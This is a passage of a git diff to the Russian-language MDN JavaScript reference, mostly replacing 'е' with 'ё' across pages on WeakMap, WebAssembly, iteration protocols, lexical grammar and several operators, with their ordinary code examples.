которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.</p> <p>Последовательность может быть результатом работы функции вроде {{jsxref("Global_Objects/escape", "escape")}}. Т.к. {{jsxref("Global_Objects/decodeURIComponent", "unescape")}} является устаревшей, используйте {{jsxref("Global_Objects/decodeURI", "decodeURI")}} или {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} вместо неё.</p> diff --git a/files/ru/web/javascript/reference/global_objects/uneval/index.html b/files/ru/web/javascript/reference/global_objects/uneval/index.html index 21cd4e9958..2fa30aeeaa 100644 --- a/files/ru/web/javascript/reference/global_objects/uneval/index.html +++ b/files/ru/web/javascript/reference/global_objects/uneval/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/uneval <div><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Сводка</strong></div> -<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> метод создает строковое представление исходного кода объекта.</span></p> +<p><code style="font-style: normal; line-height: 1.5;"><strong>uneval()</strong></code><span style="line-height: 1.5;"> метод создаёт строковое представление исходного кода объекта.</span></p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html index 260264b01d..e99dbd4a2d 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html @@ -32,7 +32,7 @@ wm.has(window) // false <h2 id="Спецификации">Спецификации</h2> -<p>Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удален в последующих версиях черновика. В финальном стандарте его не будет.</p> +<p>Не входит ни в одну текущую спецификацию или черновик. Этот метод был частью черновика ECMAScript 6, до 28 ревизии (версия от 14 октября, 2014), но был удалён в последующих версиях черновика. В финальном стандарте его не будет.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html index 8072855d1e..595f0ab82e 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/delete <dl> <dt>key</dt> - <dd>Обязателен. Ключ элемента, который будет уделен из объекта WeakMap.</dd> + <dd>Обязателен. Ключ элемента, который будет уделён из объекта WeakMap.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html index 1bf1b3c017..c849670ad7 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html @@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h3 id="Почему_WeakMap">Почему<em> Weak</em>Map?</h3> -<p>Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырех общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.</p> +<p>Опытный JavaScript разработчик заметит, что map API можно реализовать на JavaScript c помощью двух массивов (один для ключей, второй для значений) и четырёх общих API методов. Установка элементов в этот map должна будет одновременно запушить ключи и значения. В результате индексы ключа и значения будут корректными. Получение значений с map потребует итерирование ключей, чтобы найти совпадение, а затем использование индекса этого соответствия для извлечения соответствующего значения из массива значений.</p> <p>У такой реализации было бы два главных неудобства. Первым является O(n) поиск (где n — количество ключей в map), так как обе операции требуют итерирование списка ключей для нахождения совпадения. Вторым <span style="background-color: #f9f9f9; color: #252525; font-family: sans-serif; font-size: 12.3199996948242px; line-height: 18.4799995422363px; text-transform: lowercase;">– </span>проблема утечки памяти. В словарях, написанных вручную, массив с ключами будет хранить ссылки на объекты-ключи, не давая им быть помеченными сборщиком мусора. В нативных <code>WeakMap</code>, ссылки на объекты-ключи хранятся «слабо», что означает то, что они не предотвратят сборку мусора в том случае, если других ссылок на объект не будет.</p> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html index 90f80474a6..e463183f01 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html @@ -69,7 +69,7 @@ fetch('simple.wasm').then(response => <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html index 106519cdf2..79b702b091 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStrea <h2 id="Примеры">Примеры</h2> -<p>Следующий пример (см. Нашу демонстрацию <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> на GitHub и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) напрямую передает модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.<br> +<p>Следующий пример (см. Нашу демонстрацию <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> на GitHub и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">view it live</a>) напрямую передаёт модуль .wasm из исходника, затем компилирует его в объект {{jsxref("WebAssembly.Module")}}.<br> Поскольку функция <code>compileStreaming()</code> принимает обещание для объекта {{domxref("Response")}}, вы можете напрямую передать ему вызов {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, и он передаст ответ в выполняемую функцию.</p> <pre class="brush: js">var importObject = { imports: { imported_func: arg => console.log(arg) } }; @@ -40,7 +40,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm')) .then(module => WebAssembly.instantiate(module, importObject)) .then(instance => instance.exports.exported_func());</pre> -<p>Затем создается полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.</p> +<p>Затем создаётся полученный экземпляр модуля с помощью {{jsxref("WebAssembly.instantiate()")}} и вызывается экспортированная функция.</p> <h2 id="Характеристики">Характеристики</h2> @@ -65,7 +65,7 @@ WebAssembly.compileStreaming(fetch('simple.wasm')) <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div> <p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/index.html index daff5d4ee7..5265fcdac1 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/index.html @@ -5,9 +5,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly --- <div>{{JSRef}}{{SeeCompatTable}}</div> -<p>Объект JavaScript <strong><code>WebAssembly</code></strong> действует как пространство имен для всего <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного функционала.</p> +<p>Объект JavaScript <strong><code>WebAssembly</code></strong> действует как пространство имён для всего <a href="/en-US/docs/WebAssembly">WebAssembly</a>-связанного функционала.</p> -<p>В отличие от большинства других глобальных объектов, <code>WebAssembly</code> не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имен констант и функций, или {{jsxref("Intl")}}, который является пространством имен для конструкторов интернационализации и других языково-чувствительных функций.</p> +<p>В отличие от большинства других глобальных объектов, <code>WebAssembly</code> не является конструктором (это не объект функции). Можно сравнить его с {{jsxref("Math")}}, который так же является пространством имён констант и функций, или {{jsxref("Intl")}}, который является пространством имён для конструкторов интернационализации и других языково-чувствительных функций.</p> <h2 id="Описание">Описание</h2> @@ -34,24 +34,24 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly <dl> <dt>{{jsxref("WebAssembly.Module()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Module</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Module</code>.</dd> <dt>{{jsxref("WebAssembly.Instance()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Instance</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Instance</code>.</dd> <dt>{{jsxref("WebAssembly.Memory()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Memory</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Memory</code>.</dd> <dt>{{jsxref("WebAssembly.Table()")}}</dt> - <dd>Создает новый объект WebAssembly <code>Table</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>Table</code>.</dd> <dt>{{jsxref("WebAssembly.CompileError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>CompileError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>CompileError</code>.</dd> <dt>{{jsxref("WebAssembly.LinkError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>LinkError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>LinkError</code>.</dd> <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt> - <dd>Создает новый объект WebAssembly <code>RuntimeError</code>.</dd> + <dd>Создаёт новый объект WebAssembly <code>RuntimeError</code>.</dd> </dl> <h2 id="Примеры">Примеры</h2> -<p>После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаем экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (<code>result</code>), содержащий скомпилированные <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> и объекты <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. Мы можем вызвать <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая была экспортирована через <code>Instance</code>.</p> +<p>После загрузки некоторого байт-кода WebAssembly с помощью fetch, мы компилируем и создаём экземпляр модуля с помощью функции {{jsxref("WebAssembly.instantiate()")}}, импортируя функции JavaScript в WebAssembly Module в процессе. Этот промис результирует в объект (<code>result</code>), содержащий скомпилированные <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> и объекты <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code>. Мы можем вызвать <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>, которая была экспортирована через <code>Instance</code>.</p> <pre class="brush: js">var importObject = { imports: { @@ -148,7 +148,7 @@ fetch('simple.wasm').then(response => </table> </div> -<p>[1] WebAssembly включен в Firefox 52+, хотя не валиден в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p> +<p>[1] WebAssembly включён в Firefox 52+, хотя не валиден в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 52 Extended Support Release</a> (ESR.)</p> <p>[2] В настоящее время поддерживается флаг «Экспериментальные функции JavaScript». Для более подробной информации смотрите <a href="https://blogs.windows.com/msedgedev/2017/04/20/improved-javascript-performance-webassembly-shared-memory/">этот blog post</a>.</p> diff --git a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html index eb9bc5ce48..23fab50edb 100644 --- a/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html +++ b/files/ru/web/javascript/reference/global_objects/webassembly/table/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table --- <div>{{JSRef}}</div> -<p>Объект <code><strong>WebAssembly.Table()</strong></code> - это JavaScript обертка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.</p> +<p>Объект <code><strong>WebAssembly.Table()</strong></code> - это JavaScript обёртка — структура похожая на массив, представляющая таблицу функций WebAssembly. Таблица, созданная через JavaScript или в коде WebAssembly, будет доступна и может быть изменена как из JavaScript, так и из WebAssembly.</p> <div class="note"> <p><strong>Обратите внимание</strong>: Таблицы сейчас хранят только ссылки на функции, но это может быть расширено в будущем.</p> @@ -15,7 +15,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table <dl> <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/Table">WebAssembly.Table()</a></code></dt> - <dd>Создает новый объект <code>Table</code>.</dd> + <dd>Создаёт новый объект <code>Table</code>.</dd> </dl> <h2 id="Экземпляры_Table">Экземпляры <code>Table</code></h2> @@ -44,14 +44,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table <h2 id="Примеры">Примеры</h2> -<p>Следующий пример (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный код</a> и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">живую версию</a> table2.html) создает новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.</p> +<p>Следующий пример (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.html">исходный код</a> и <a href="https://mdn.github.io/webassembly-examples/js-api-examples/table2.html">живую версию</a> table2.html) создаёт новый экземпляр WebAssembly Table с 2 элементами. После этого выводит длину таблицы и содержимое первых двух элементов (полученных через {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} чтобы показать что длина равняется 2 и элементы равны {{jsxref("null")}}.</p> <pre class="brush: js">var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"}); console.log(tbl.length); // "2" console.log(tbl.get(0)); // "null" console.log(tbl.get(1)); // "null"</pre> -<p>После этого мы создаем объект импорта содержащий таблицу:</p> +<p>После этого мы создаём объект импорта содержащий таблицу:</p> <pre class="brush: js">var importObj = { js: { @@ -59,7 +59,7 @@ console.log(tbl.get(1)); // "null"</pre> } };</pre> -<p>После этого, мы создаем экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}. Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">текстовую версию</a>). Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными из WebAssembly</a> которые можно вызывать из JS.</p> +<p>После этого, мы создаём экземпляр модуля wasm (table2.wasm) используя метод {{jsxref("WebAssembly.instantiateStreaming()")}}. Модуль table2.wasm содержит две функции, одна возвращает 42, а вторая - 83) и сохраняет эти функции под индексами 0 и 1 в импортированную таблицу (смотри <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table2.wat">текстовую версию</a>). Таким образом, после создания wasm-модуля, таблица имеет туже длину, но элементы таблицы стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными из WebAssembly</a> которые можно вызывать из JS.</p> <pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject) .then(function(obj) { @@ -68,9 +68,9 @@ console.log(tbl.get(1)); // "null"</pre> console.log(tbl.get(1)()); });</pre> -<p>Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращенную из талицы (т.е. <code>get(0)()</code> вместо <code>get(0)</code>) .</p> +<p>Заметьте что понадобилось добавить второй оператор вызова функции чтобы вызвать функцию возвращённую из талицы (т.е. <code>get(0)()</code> вместо <code>get(0)</code>) .</p> -<p>Этот пример показывает что мы создаем и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.</p> +<p>Этот пример показывает что мы создаём и работаем с таблицей из JavaScript, но экземпляр таблицы также виден и доступен внутри модуля wasm.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html index cc9b66658a..4c42e875f7 100644 --- a/files/ru/web/javascript/reference/iteration_protocols/index.html +++ b/files/ru/web/javascript/reference/iteration_protocols/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols <div>{{jsSidebar("More")}}</div> </div> -<p>Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определенные правила.</p> +<p>Одно из нововведений стандарта ECMAScript 2015 - протоколы перебора, которые могут реализованы любым объектом, соблюдая при этом определённые правила.</p> <h2 id="Протоколы_перебора">Протоколы перебора</h2> @@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols <p>Протокол "<strong>Итератор</strong>" определяет стандартный способ получения последовательности значений (конечной или бесконечной).</p> -<p>Объект является итератором, если в нем определен метод <strong>next()</strong> , реализующий следующую логику:</p> +<p>Объект является итератором, если в нем определён метод <strong>next()</strong> , реализующий следующую логику:</p> <table class="standard-table"> <tbody> @@ -129,7 +129,7 @@ someString + "" // "hi" <p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} и {{jsxref("Set")}} итерируемы, так как их прототипы содержат <code>@@</code><code>iterator</code> метод, а {{jsxref("Object")}} нет, так как прототип {{jsxref("Object")}} не содержит метода <code>@@</code><code>iterator</code></p> -<h2 id="Итерируемость_определенная_пользователем">Итерируемость определенная пользователем</h2> +<h2 id="Итерируемость_определённая_пользователем">Итерируемость определённая пользователем</h2> <p>Мы можем создать итерируемый объект сами:</p> diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html index 24705ce8ec..9c74d62e61 100644 --- a/files/ru/web/javascript/reference/lexical_grammar/index.html +++ b/files/ru/web/javascript/reference/lexical_grammar/index.html @@ -50,7 +50,7 @@ ECMAScript также определяет ключевые слова и лит <h2 id="Пробелы">Пробелы</h2> -<p>Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Утилиты для уменьшения объема кода</a> часто удаляют пробельные символы, чтобы уменьшить объем кода.</p> +<p>Пробельные символы улучшают читабельность исходного текста и разделяет токены друг от друга. Пробельные символы обычно не обязательны для функционирования кода. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Утилиты для уменьшения объёма кода</a> часто удаляют пробельные символы, чтобы уменьшить объем кода.</p> <table class="standard-table"> <caption>Таблица пробельных символов</caption> @@ -212,7 +212,7 @@ comment();</pre> <p>Третий специализированный синтаксис комментариев, <strong>шебанг комментарий</strong>, в процессе стандартизации в ECMAScript (смотреть <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p> -<p>Шебанг комментарий ведет себя точно также как и однострочный (<code>//</code>) комментарий. Вместо этого, он начинается с <code>#!</code> и <strong>действителен только в самом начале скрипта или модуля</strong>. Обратите внимание, что никакие пробелы не разрешены перед <code>#!</code>. Комментарий состоит из всех символов после <code>#!</code> до конца первой строки; только такой комментарий разрешен.</p> +<p>Шебанг комментарий ведёт себя точно также как и однострочный (<code>//</code>) комментарий. Вместо этого, он начинается с <code>#!</code> и <strong>действителен только в самом начале скрипта или модуля</strong>. Обратите внимание, что никакие пробелы не разрешены перед <code>#!</code>. Комментарий состоит из всех символов после <code>#!</code> до конца первой строки; только такой комментарий разрешен.</p> <p>Шебанг комментарий определяет путь к JavaScript интерпретатору, скрипт которого Вы хотите выполнить. Пример, как это работает:</p> @@ -366,7 +366,7 @@ false</pre> 0777 // распознается, как восьмеричное число, 511 - как десятичное число </pre> -<p>Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идет цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p> +<p>Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идёт цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p> <h4 id="Binary_двоичные_числа">Binary (двоичные числа)</h4> @@ -403,7 +403,7 @@ var m = 0o644; // 420 <pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 }; -// сокращенная нотация. Появилась в ES2015 +// сокращённая нотация. Появилась в ES2015 var a = "foo", b = "bar", c = 42; var o = {a, b, c}; // вместо @@ -481,7 +481,7 @@ tag `string text ${expression} string text`</pre> <li><code>return</code></li> </ul> -<p>Спецификация ECMAScript напоминает о <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">трех правилах вставки точки с запятой</a>.</p> +<p>Спецификация ECMAScript напоминает о <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">трёх правилах вставки точки с запятой</a>.</p> <p>1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.</p> diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html index 94efb4b63e..c55fa767fe 100644 --- a/files/ru/web/javascript/reference/operators/addition/index.html +++ b/files/ru/web/javascript/reference/operators/addition/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Operators/Addition --- <div>{{jsSidebar("Operators")}}</div> -<p>Оператор сложения (+) создает сумму числовых операндов или конкатенацию строк.</p> +<p>Оператор сложения (+) создаёт сумму числовых операндов или конкатенацию строк.</p> <div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div> diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html index ecce9884c5..6159cd8b19 100644 --- a/files/ru/web/javascript/reference/operators/await/index.html +++ b/files/ru/web/javascript/reference/operators/await/index.html @@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Operators/await <h2 id="Описание">Описание</h2> -<p>Оператор <code>await</code> заставляет функцию, объявленную с использованием оператора <code>async</code>, ждать выполнения <code>Promise</code> и продолжать выполнение после возвращения <code>Promise</code> значения. Впоследствии возвращает полученное из <code>Promise</code> значение. Если типом значения, к которому был применен оператор <code>await</code>, является не <code>Promise</code>, то значение приводится к успешно выполненному <code>Promise</code>.</p> +<p>Оператор <code>await</code> заставляет функцию, объявленную с использованием оператора <code>async</code>, ждать выполнения <code>Promise</code> и продолжать выполнение после возвращения <code>Promise</code> значения. Впоследствии возвращает полученное из <code>Promise</code> значение. Если типом значения, к которому был применён оператор <code>await</code>, является не <code>Promise</code>, то значение приводится к успешно выполненному <code>Promise</code>.</p> <p>Если <code>Promise</code> отклоняется, то <code>await</code> генерирует исключение с отклонённым значением.</p> @@ -54,7 +54,7 @@ f1(); f2(); </pre> -<p>Если <code>Promise</code> отклонен, то выбрасывается исключение с переданным значением.</p> +<p>Если <code>Promise</code> отклонён, то выбрасывается исключение с переданным значением.</p> <pre class="brush: js">async function f3() { try { diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html index 6c08ef0ded..099bbe37cd 100644 --- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html @@ -72,7 +72,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) </pre> -<p>Побитовое И для любого числа <code><var>x</var></code> с <code>0</code> дает <code>0</code>.</p> +<p>Побитовое И для любого числа <code><var>x</var></code> с <code>0</code> даёт <code>0</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/operators/comma_operator/index.html b/files/ru/web/javascript/reference/operators/comma_operator/index.html index 85d739fdab..de9bc91731 100644 --- a/files/ru/web/javascript/reference/operators/comma_operator/index.html +++ b/files/ru/web/javascript/reference/operators/comma_operator/index.html @@ -31,13 +31,13 @@ original_slug: Web/JavaScript/Reference/Operators/Оператор_Запята <h2 id="Примеры">Примеры</h2> -<p>Если <code>a</code> это двумерный массив элементов размерностью 10 х 10, то приведенный ниже код использует оператор запятая для одновременного изменения двух переменных за раз.</p> +<p>Если <code>a</code> это двумерный массив элементов размерностью 10 х 10, то приведённый ниже код использует оператор запятая для одновременного изменения двух переменных за раз.</p> <p>Следующий код выводит в консоль значения диагональных элементов массива:</p> <pre class="brush:js;highlight:[1]">for (let i = 0, j = 9; i <= 9; i++, j--) console.log("a[" + i + "][" + j + "] = " + a[i][j]);</pre> -<p>Заметьте, что запятая при объявлении переменной <code>var</code>, <code>let</code> или <code>const</code> <strong>не</strong> является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведет себя почти так же, как и запятая.</p> +<p>Заметьте, что запятая при объявлении переменной <code>var</code>, <code>let</code> или <code>const</code> <strong>не</strong> является оператором запятая, так как в данном случае она находится не в выражении. Скорее, это спец символ в объявлении переменных, комбинирующий их множество в одно выражение. Практически, эта запятая ведёт себя почти так же, как и запятая.</p> <pre class="brush: js"> // подобное объявление запрещено в строгом режиме(strict mode) diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html index 8b035ad9e4..7eabde0687 100644 --- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html +++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html @@ -42,9 +42,9 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <pre class="brush: js notranslate">var firstCheck = false, secondCheck = false, - access = firstCheck ? "Доступ запрещен" : secondCheck ? "Доступ запрещен" : "Доступ разрешен"; + access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён"; -console.log( access ); // выводит в консоль "Доступ разрешен"</pre> +console.log( access ); // выводит в консоль "Доступ разрешён"</pre> <p>Тернарные операции можно использовать и сами по себе - для выполнения различных операций:</p> @@ -62,18 +62,18 @@ age > 18 ? ( location.assign("continue.html") ) : ( stop = true, - alert("Простите, вы еще так юны!") + alert("Простите, вы ещё так юны!") ); </pre> -<p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделенных запятой</strong></em>.</p> +<p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделённых запятой</strong></em>.</p> <pre class="brush: js notranslate">var age = 16; var url = age > 18 ? ( alert("Хорошо, вы можете продолжить."), - // alert вернет "undefined", но это будет проигнорировано, потому что - // не является последним в списке значений, разделенных запятой + // alert вернёт "undefined", но это будет проигнорировано, потому что + // не является последним в списке значений, разделённых запятой "continue.html" // значение будет присвоено, если age > 18 ) : ( alert("Вы слишком молоды!"), diff --git a/files/ru/web/javascript/reference/operators/delete/index.html b/files/ru/web/javascript/reference/operators/delete/index.html index 2edf33b67e..d7722fa829 100644 --- a/files/ru/web/javascript/reference/operators/delete/index.html +++ b/files/ru/web/javascript/reference/operators/delete/index.html @@ -64,18 +64,18 @@ delete <em>property</em> // удаляет свойства глобальног <p><code>delete</code> эффективен только применительно к свойствам объектов. Он не оказывает никакого влияния на имена переменных и функций.<br> Присвоение значения свойству без указания объекта (без оператора var) иногда неверно характеризуется, как глобальная 